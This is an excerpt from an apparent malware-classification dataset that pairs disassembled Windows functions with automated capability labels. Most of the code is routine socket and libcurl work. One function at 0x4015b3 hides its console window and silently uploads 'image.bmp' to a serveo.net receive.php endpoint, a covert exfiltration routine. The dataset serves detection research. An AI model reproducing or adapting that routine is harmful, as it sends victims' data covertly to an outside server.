joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4111b0
Capabilities:
Get common file path

Disassembly:
push ecx
push ebx
push edi
push str.kernel32
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, eax
test ebx, ebx
jne 0x4111ca
pop edi
pop ebx
pop ecx
ret
push ebp
push esi
push str.LoadLibraryExA
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [esp + 0x18]
mov ebp, eax
push 0x43cc1c
push esi
call dword [sym.imp.MSVCRT.dll_strpbrk]
add esp, 8
test eax, eax
je 0x411213
test ebp, ebp
je 0x411204
push 8
push 0
push esi
call ebp
pop esi
pop ebp
mov edi, eax
pop edi
pop ebx
pop ecx
ret
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop esi
pop ebp
mov edi, eax
pop edi
pop ebx
pop ecx
ret
test ebp, ebp
je 0x411239
push str.AddDllDirectory
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x411239
push 0x800
push 0
push esi
call ebp
pop esi
pop ebp
mov edi, eax
pop edi
pop ebx
pop ecx
ret
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edx, eax
mov dword [esp + 0x10], edx
test edx, edx
je 0x4112ef
mov ecx, esi
lea ebx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411256
sub ecx, ebx
lea eax, [edx + 1]
add eax, ecx
push eax
call dword [0x445554]
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x4112e5
push dword [esp + 0x10]
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x4112e5
mov ecx, ebx
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411288
sub ecx, edx
mov eax, 0x5c
mov word [ecx + ebx], ax
mov ecx, ebx
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4112a0
sub ecx, edx
add ecx, ebx
sub ecx, esi
lea ecx, [ecx]
mov al, byte [esi]
lea esi, [esi + 1]
mov byte [ecx + esi - 1], al
test al, al
jne 0x4112b0
test ebp, ebp
je 0x4112dc
push 8
push 0
push ebx
call ebp
push ebx
mov edi, eax
call dword [0x445558]
add esp, 4
mov eax, edi
pop esi
pop ebp
pop edi
pop ebx
pop ecx
ret
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
push ebx
call dword [0x445558]
add esp, 4
pop esi
pop ebp
mov eax, edi
pop edi
pop ebx
pop ecx
ret
Function at 0x411480
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x22c
test byte [esp + 0x230], 2
je 0x4114cb
lea eax, [esp + 0x9c]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x4114bf
mov eax, dword [esp + 0x9c]
cmp al, 2
jne 0x4114b9
shr eax, 8
cmp al, 2
je 0x4114cb
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 2
add esp, 0x22c
ret
call fcn.0042ae40
test eax, eax
jne 0x4115a0
push str.iphlpapi.dll
call fcn.004111b0
add esp, 4
mov dword [0x446598], eax
test eax, eax
je 0x411503
push str.if_nametoindex
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x411503
mov dword [0x446594], eax
push esi
push 0x9c
lea eax, [esp + 8]
push 0
push eax
call sub.MSVCRT.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
add esp, 0xc
mov dword [esp + 4], 0x9c
mov dword [esp + 8], 6
mov dword [esp + 0xc], 0
push 3
push 2
push 0
push 0
mov dword [esp + 0x24], 2
call esi
push 3
push 1
push edx
push eax
call esi
push 3
push 0x20
push edx
push eax
call esi
push 3
push 0x10
push edx
push eax
call esi
push 1
push 8
push edx
push eax
call esi
push edx
push eax
push 0x33
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
pop esi
test eax, eax
je 0x411597
push 0x44684c
mov byte [0x446854], 1
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor eax, eax
add esp, 0x22c
ret
mov byte [0x446854], 0
xor eax, eax
add esp, 0x22c
ret

Function at 0x411720
Capabilities:
Create udp socket

Disassembly:
mov eax, dword [esp + 4]
cmp dword [eax + 0x2c8], 2
je fcn.004116d0
mov al, 1
ret

Function at 0x411860
Capabilities:
Write file on windows

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
cmp dword [edi + 0x5e0], 0
je 0x4118a4
push 1
push edi
call fcn.00412a60
push dword [edi + 0x574]
mov eax, dword [edi + 0x5e0]
push dword [esp + 0x24]
push dword [esp + 0x24]
push dword [esp + 0x24]
push edi
call eax
push 0
push edi
mov esi, eax
call fcn.00412a60
add esp, 0x24
mov eax, esi
pop edi
pop esi
ret
mov eax, dword [esp + 0x10]
cmp eax, 2
ja 0x4118dd
push dword [edi + 0x570]
mov esi, dword [sym.imp.MSVCRT.dll_fwrite]
lea eax, [eax + eax*2]
push 1
add eax, 0x43cca0
push 2
push eax
call esi
push dword [edi + 0x570]
push 1
push dword [esp + 0x30]
push dword [esp + 0x30]
call esi
add esp, 0x20
pop edi
xor eax, eax
pop esi
ret

Function at 0x411ae0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push 0
push dword [esp + 0x10]
push dword [esp + 0x10]
push dword [esp + 0x10]
call dword [sym.imp.WS2_32.dll_recv]
mov ecx, eax
cmp ecx, 0xffffffff
jne 0x411b11
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
sub eax, 0x2733
neg eax
sbb eax, eax
and eax, 0xffffffe7
add eax, 0x51
ret
mov eax, dword [esp + 0x10]
mov dword [eax], ecx
xor eax, eax
ret
Function at 0x411c40
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x80
push ebx
push ebp
mov ebp, dword [esp + 0x8c]
push esi
push eax
push ebp
mov esi, dword [ebp + eax*4 + 0x1a4]
call fcn.004120f0
add esp, 8
push 0
push dword [esp + 0xa0]
push dword [esp + 0xa0]
push esi
call dword [sym.imp.WS2_32.dll_send]
mov ebx, dword [esp + 0xa0]
mov esi, eax
mov dword [ebx], 0
cmp esi, 0xffffffff
jne 0x411ce7
push edi
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
cmp edi, 0x2733
jne 0x411cb4
pop edi
pop esi
pop ebp
mov dword [ebx], 0x51
xor eax, eax
pop ebx
add esp, 0x80
ret
push pe_nt_image_headers32
lea eax, [esp + 0x14]
push eax
push edi
call fcn.0042ba00
push eax
push str.Send_failure:__s
push dword [ebp]
call fcn.004118f0
mov eax, dword [ebp]
add esp, 0x18
mov dword [eax + 0xc54], edi
mov eax, esi
mov dword [ebx], 0x37
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x80
ret

Function at 0x4120f0
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov ecx, dword [esp + 8]
mov eax, ecx
push ebx
mov ebx, dword [esp + 8]
push ebp
push esi
shl eax, 4
mov ebp, dword [ebx + ecx*4 + 0x1a4]
lea esi, [ebx + 0x1c8]
add esi, eax
mov eax, dword [ebx + 0x2c0]
push edi
mov edi, dword [esi + 4]
sub edi, dword [esi + 8]
test byte [eax + 0x40], 3
je 0x4121a6
cmp dword [ebx + ecx*4 + 0x1b8], 0x411b70
jne 0x4121a6
cmp dword [esi], 0
je 0x41213c
test edi, edi
je 0x4121a6
push 0
push 0xffffffffffffffff
push 0xffffffffffffffff
push ebp
call fcn.00419c00
add esp, 0x10
cmp eax, 0xffffffff
je 0x4121a6
test al, 1
je 0x4121a6
cmp dword [esi], 0
jne 0x41218f
mov eax, dword [ebx]
mov eax, dword [eax + 0x8d0]
add eax, eax
push eax
mov dword [esi + 4], eax
call dword [0x445554]
mov edi, dword [esi + 4]
add esp, 4
mov dword [esi], eax
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
test eax, eax
jne 0x41218f
pop edi
mov dword [esi + 4], eax
pop esi
pop ebp
pop ebx
ret
mov eax, dword [esi]
add eax, dword [esi + 8]
push 0
push edi
push eax
push ebp
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x4121a6
add dword [esi + 8], eax
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x418a60
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x188
push ebx
mov ebx, dword [esp + 0x190]
cmp dword [ebx + 0x90], 3
jne 0x418c38
cmp byte [ebx + 0x289], 0
push ebp
push esi
push edi
jne 0x418c2c
cmp byte [ebx + 0x2a1], 0
jne 0x418c2c
mov esi, dword [esp + 0x1a0]
lea eax, [esp + 0x10]
mov ebp, dword [ebx]
push eax
lea eax, [esp + 0x11c]
mov dword [esp + 0x14], pe_nt_image_headers32
push eax
push esi
call dword [sym.imp.WS2_32.dll_getpeername]
test eax, eax
je 0x418af4
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov esi, eax
lea eax, [esp + 0x18]
push pe_nt_image_headers32
push eax
push esi
call fcn.0042ba00
push eax
push esi
push str.getpeername___failed_with_errno__d:__s
push ebp
call fcn.004118f0
add esp, 0x1c
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x188
ret
push pe_nt_image_headers32
lea eax, [esp + 0x9c]
mov dword [esp + 0x18], pe_nt_image_headers32
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x9c]
push eax
push esi
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
je 0x418b5e
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov esi, eax
lea eax, [esp + 0x18]
push pe_nt_image_headers32
push eax
push esi
call fcn.0042ba00
push eax
push esi
push str.getsockname___failed_with_errno__d:__s
push ebp
call fcn.004118f0
add esp, 0x1c
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x188
ret
lea eax, [ebx + 0x138]
push eax
lea esi, [ebx + 0x10a]
push esi
push dword [esp + 0x18]
lea eax, [esp + 0x124]
push eax
call fcn.00417e80
add esp, 0x10
test al, al
jne 0x418bbf
mov esi, dword [sym.imp.MSVCRT.dll__errno]
call esi
mov edi, eax
call esi
mov esi, eax
lea eax, [esp + 0x18]
push pe_nt_image_headers32
push eax
push dword [edi]
call fcn.0042ba00
push eax
push dword [esi]
push str.ssrem_inet_ntop___failed_with_errno__d:__s
push ebp
call fcn.004118f0
add esp, 0x1c
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x188
ret
lea edi, [ebx + 0x5c]
mov ecx, 0xb
rep movsd dword es:[edi], dword [esi]
lea eax, [ebx + 0x16c]
push eax
lea eax, [ebx + 0x13c]
push eax
push dword [esp + 0x1c]
lea eax, [esp + 0xa4]
movsw word es:[edi], word [esi]
push eax
call fcn.00417e80
add esp, 0x10
test al, al
jne 0x418c2c
mov esi, dword [sym.imp.MSVCRT.dll__errno]
call esi
mov edi, eax
call esi
mov esi, eax
lea eax, [esp + 0x18]
push pe_nt_image_headers32
push eax
push dword [edi]
call fcn.0042ba00
push eax
push dword [esi]
push str.ssloc_inet_ntop___failed_with_errno__d:__s
push ebp
call fcn.004118f0
add esp, 0x1c
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x188
ret
push ebx
call fcn.00418740
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x188
ret
Function at 0x419590
Capabilities:
Set socket configuration

Disassembly:
sub esp, 0x10
push esi
mov esi, dword [esp + 0x18]
xor eax, eax
push edi
mov edi, dword [esp + 0x20]
push 4
cmp byte [esi + 0xa9f], al
setne al
mov dword [esp + 0x20], eax
lea eax, [esp + 0x20]
push eax
push 8
push 0xffff
push edi
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jns 0x4195da
push edi
push str.Failed_to_set_SO_KEEPALIVE_on_fd__d_n
push esi
call fcn.004119b0
add esp, 0xc
pop edi
pop esi
add esp, 0x10
ret
push dword [esi + 0xa3c]
mov dword [esp + 0x10], 1
call fcn.00417e00
push dword [esi + 0xa40]
imul eax, eax, 0x3e8
mov dword [esp + 0x24], eax
mov dword [esp + 0x18], eax
call fcn.00417e00
add esp, 8
imul eax, eax, 0x3e8
push 0
push 0
mov dword [esp + 0x24], eax
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x10]
push eax
push 0
push 0
push 0xc
lea eax, [esp + 0x24]
push eax
push 0x98000004
push edi
call dword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
je 0x419651
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push edi
push str.Failed_to_set_SIO_KEEPALIVE_VALS_on_fd__d:__d_n
push esi
call fcn.004119b0
add esp, 0x10
pop edi
pop esi
add esp, 0x10
ret

Function at 0x419660
Capabilities:
Set socket configuration

Disassembly:
sub esp, 0x84
mov eax, dword [esp + 0x88]
push esi
push 4
mov dword [esp + 8], 1
mov esi, dword [eax]
lea eax, [esp + 8]
push eax
push 1
push 6
push dword [esp + 0xa0]
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jns 0x4196c1
push pe_nt_image_headers32
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
call fcn.0042ba00
push eax
push str.Could_not_set_TCP_NODELAY:__s_n
push esi
call fcn.004119b0
add esp, 0x18
pop esi
add esp, 0x84
ret
push str.TCP_NODELAY_set_n
push esi
call fcn.004119b0
add esp, 8
pop esi
add esp, 0x84
ret
Function at 0x4243f0
Capabilities:
Query environment variable

Disassembly:
mov eax, 0x1000
call fcn.00402130
push dword [esp + 0x1004]
call dword [sym.imp.MSVCRT.dll_getenv]
add esp, 4
mov byte [esp], 0
test eax, eax
je 0x42443d
push 0x1000
lea ecx, [esp + 4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
cmp byte [esp], 0
je 0x42443d
lea eax, [esp]
push eax
call dword [0x445560]
add esp, 4
add esp, 0x1000
ret
xor eax, eax
add esp, 0x1000
ret
Function at 0x42aee0
Capabilities:
Resolve dns

Disassembly:
sub esp, 0xc
mov eax, dword [esp + 0x1c]
push ebp
xor ebp, ebp
mov dword [esp + 4], ebp
mov dword [eax], ebp
lea eax, [esp + 8]
push eax
push dword [esp + 0x20]
push dword [esp + 0x20]
push dword [esp + 0x20]
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov dword [esp + 0xc], eax
test eax, eax
jne 0x42b073
push ebx
push edi
mov edi, dword [esp + 0x10]
test edi, edi
je 0x42b05d
push esi
mov eax, dword [edi + 4]
cmp eax, 2
jne 0x42af2f
lea ebx, [eax + 0xe]
jmp 0x42af3b
cmp eax, 0x17
jne 0x42afea
lea ebx, [eax + 5]
cmp dword [edi + 0x18], 0
je 0x42afea
mov eax, dword [edi + 0x10]
test eax, eax
je 0x42afea
cmp eax, ebx
jb 0x42afea
push 0x20
call dword [0x445554]
mov esi, eax
add esp, 4
test esi, esi
je 0x42b052
mov eax, dword [edi]
mov dword [esi], eax
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 8]
mov dword [esi + 8], eax
mov eax, dword [edi + 0xc]
push ebx
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], ebx
mov dword [esi + 0x18], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x1c], 0
call dword [0x445554]
add esp, 4
mov dword [esi + 0x18], eax
test eax, eax
je 0x42b041
push ebx
push dword [edi + 0x18]
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [edi + 0x14]
add esp, 0xc
test eax, eax
je 0x42afd5
push eax
call dword [0x445560]
add esp, 4
mov dword [esi + 0x14], eax
test eax, eax
je 0x42b027
test ebp, ebp
jne 0x42afdb
mov ebp, esi
mov eax, dword [esp + 0x10]
test eax, eax
je 0x42afe6
mov dword [eax + 0x1c], esi
mov dword [esp + 0x10], esi
mov edi, dword [edi + 0x1c]
test edi, edi
jne 0x42af22
mov ebx, dword [esp + 0x18]
mov eax, dword [esp + 0x14]
pop esi
test eax, eax
je 0x42b009
push eax
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
test ebx, ebx
je 0x42b059
push ebp
call fcn.0042aea0
mov eax, dword [esp + 0x2c]
add esp, 4
xor ebp, ebp
mov dword [eax], ebp
mov eax, ebx
pop edi
pop ebx
pop ebp
add esp, 0xc
ret
push dword [esi + 0x18]
mov ebx, 8
call dword [0x445558]
push esi
call dword [0x445558]
add esp, 8
jmp 0x42aff9
push esi
mov ebx, 8
call dword [0x445558]
add esp, 4
jmp 0x42aff9
mov ebx, 8
jmp 0x42aff9
test ebp, ebp
jne 0x42b069
mov ebx, 0x2af9
push ebx
call dword [sym.imp.WS2_32.dll_WSASetLastError]
mov eax, dword [esp + 0x28]
pop edi
mov dword [eax], ebp
mov eax, ebx
pop ebx
pop ebp
add esp, 0xc
ret
Function at 0x42f6b0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Get local ipv4 addresses
Get socket information
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration
Start tcp server

Disassembly:
sub esp, 0x30
push esi
mov esi, dword [sym.imp.WS2_32.dll_socket]
push edi
push 6
push 1
push 2
mov dword [esp + 0x18], 0x10
mov dword [esp + 0x14], 1
call esi
mov edi, eax
cmp edi, 0xffffffff
jne 0x42f6e2
pop edi
or eax, eax
pop esi
add esp, 0x30
ret
xor eax, eax
mov dword [esp + 0x10], eax
push ebx
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov eax, 2
push 0x7f000001
mov word [esp + 0x18], ax
call dword [sym.imp.WS2_32.dll_htonl]
mov ebx, dword [esp + 0x4c]
mov dword [esp + 0x18], eax
xor eax, eax
push 4
mov word [esp + 0x1a], ax
lea eax, [esp + 0x10]
push eax
push 4
push 0xffff
push edi
mov dword [ebx + 4], 0xffffffff
mov dword [ebx], 0xffffffff
call dword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
je 0x42f877
push 0x10
lea eax, [esp + 0x18]
push eax
push edi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x42f877
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x18]
push eax
push edi
call dword [sym.imp.WS2_32.dll_getsockname]
cmp eax, 0xffffffff
je 0x42f877
push 1
push edi
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
je 0x42f877
push 0
push 1
push 2
call esi
mov dword [ebx], eax
cmp eax, 0xffffffff
je 0x42f877
push 0x10
lea ecx, [esp + 0x18]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x42f877
push 0
push 0
push edi
call dword [sym.imp.WS2_32.dll_accept]
mov dword [ebx + 4], eax
cmp eax, 0xffffffff
je 0x42f877
push ebx
push 0x442710
lea eax, [esp + 0x2c]
push 0xc
push eax
call fcn.00423030
lea esi, [esp + 0x34]
add esp, 0x10
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x42f7e4
push 0
sub esi, ecx
lea eax, [esp + 0x28]
push esi
push eax
push dword [ebx]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, esi
jne 0x42f877
push 0
push 0xc
lea eax, [esp + 0x38]
push eax
push dword [ebx + 4]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, esi
jne 0x42f877
lea ecx, [esp + 0x24]
lea edx, [esp + 0x30]
sub esi, 4
jb 0x42f835
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x42f83a
add ecx, 4
add edx, 4
sub esi, 4
jae 0x42f824
cmp esi, 0xfffffffc
je 0x42f867
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x42f877
cmp esi, 0xfffffffd
je 0x42f867
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x42f877
cmp esi, 0xfffffffe
je 0x42f867
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x42f877
cmp esi, 0xffffffff
je 0x42f867
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
jne 0x42f877
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
pop ebx
pop edi
xor eax, eax
pop esi
add esp, 0x30
ret
mov esi, dword [sym.imp.WS2_32.dll_closesocket]
push edi
call esi
push dword [ebx]
call esi
push dword [ebx + 4]
call esi
pop ebx
pop edi
or eax, 0xffffffff
pop esi
add esp, 0x30
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x47a1a0], 1
mov dword [0x47a19c], 1
mov dword [0x47a198], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x47a00c], eax
mov eax, dword [0x47a1ac]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x47a1c0]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x47a1a8]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x45e86c], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056
Function at 0x4015b3
Capabilities:
Hide graphical window

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ebx
push ecx
sub esp, 0x30
mov ebx, ecx
call sym.___main
mov eax, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call eax
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_ShowWindow]
call eax
sub esp, 8
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [esp], 3
call sym._curl_global_init
call sym._curl_easy_init
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x4017a1
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._curl_mime_init
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._curl_mime_addpart
mov dword [ebp - 0x10], eax
mov dword [esp + 4], 0x45f044
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._curl_mime_name
mov dword [esp + 4], str.image.bmp
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._curl_mime_filedata
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._curl_mime_addpart
mov dword [ebp - 0x10], eax
mov dword [esp + 4], str.submit
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._curl_mime_name
mov dword [esp + 8], 0xffffffff
mov dword [esp + 4], str.send
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._curl_mime_data
mov dword [esp + 4], 0x45f0b4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._curl_slist_append
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], 0x2712
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], str.http:__serveo.net:2424_receive.php
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._curl_easy_setopt
cmp dword [ebx], 2
jne 0x401711
mov eax, dword [ebx + 4]
add eax, 4
mov eax, dword [eax]
mov dword [esp + 4], str.noexpectheader
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x401711
mov dword [ebp - 0x20], 0x2727
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x14]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._curl_easy_setopt
mov dword [ebp - 0x24], 0x281d
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp - 0xc]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._curl_easy_setopt
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._curl_easy_perform
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x401774
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sym._curl_easy_strerror
mov ebx, eax
mov dword [esp], 2
mov eax, dword [dbg.__acrt_iob_func]
call eax
mov dword [esp + 8], ebx
mov dword [esp + 4], str.curl_easy_perform___failed:__s_n
mov dword [esp], eax
call sym._fprintf
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._curl_easy_cleanup
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._curl_mime_free
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._curl_slist_free_all
mov dword [esp], 0
call sym._exit
mov eax, 0
lea esp, [ebp - 8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx - 4]
ret
Function at 0x402b40
Capabilities:
Set socket configuration

Disassembly:
push esi
push ebx
sub esp, 0x34
mov ebx, dword [esp + 0x40]
lea eax, [esp + 0x2c]
mov dword [esp + 0x2c], 1
mov esi, dword [ebx]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x44]
mov dword [esp + 0x10], 4
mov dword [esp + 8], 1
mov dword [esp + 4], 6
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_setsockopt]
sub esp, 0x14
test eax, eax
js 0x402ba0
mov dword [esp], esi
mov dword [esp + 4], str.TCP_NODELAY_set_n
call sym._Curl_infof
add esp, 0x34
pop ebx
pop esi
ret
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._Curl_strerror
mov dword [esp], esi
mov dword [esp + 8], eax
mov dword [esp + 4], str.Could_not_set_TCP_NODELAY:__s_n
call sym._Curl_infof
add esp, 0x34
pop ebx
pop esi
ret

Function at 0x402bd0
Capabilities:
Set socket configuration

Disassembly:
push ebx
sub esp, 0x38
mov eax, dword [0x47a058]
mov dword [esp + 0x24], 0x4020
mov ebx, dword [esp + 0x40]
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 4
test eax, eax
je 0x402c70
cmp eax, 2
je 0x402c64
lea eax, [esp + 0x2c]
mov dword [esp + 8], 0x1001
mov dword [esp + 0x10], eax
lea eax, [esp + 0x28]
mov dword [esp + 0xc], eax
mov dword [esp + 4], 0xffff
mov dword [esp], ebx
call dword [sym.imp.WS2_32.dll_getsockopt]
sub esp, 0x14
test eax, eax
jne 0x402c38
mov eax, dword [esp + 0x24]
cmp dword [esp + 0x28], eax
jg 0x402c64
lea eax, [esp + 0x24]
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1001
mov dword [esp + 4], 0xffff
mov dword [esp], ebx
call dword [sym.imp.WS2_32.dll_setsockopt]
sub esp, 0x14
add esp, 0x38
pop ebx
ret
mov dword [esp + 0xc], 3
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov dword [esp], 6
call sym._Curl_verify_windows_version
test al, al
je 0x402cb0
mov dword [0x47a058], 2
add esp, 0x38
pop ebx
ret
mov dword [0x47a058], 1
jmp 0x402bfe

Function at 0x402d60
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x2c
mov eax, dword [esp + 0x30]
cmp byte [eax + 0x1d8], 0
jne 0x402db0
mov eax, dword [eax + 0x194]
cmp eax, 0xffffffff
je 0x402db0
lea edx, [esp + 0x1f]
mov dword [esp + 0xc], 2
mov dword [esp + 4], edx
mov dword [esp + 8], 1
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_recv]
mov edx, eax
sub esp, 0x10
mov eax, 1
test edx, edx
je 0x402db0
add esp, 0x2c
ret
xor eax, eax
add esp, 0x2c
ret
Function at 0x408cb0
Capabilities:
Create udp socket

Disassembly:
mov eax, dword [esp + 4]
cmp dword [eax + 0x294], 2
je 0x408cc8
mov eax, 1
ret
jmp sym._Curl_ipv6works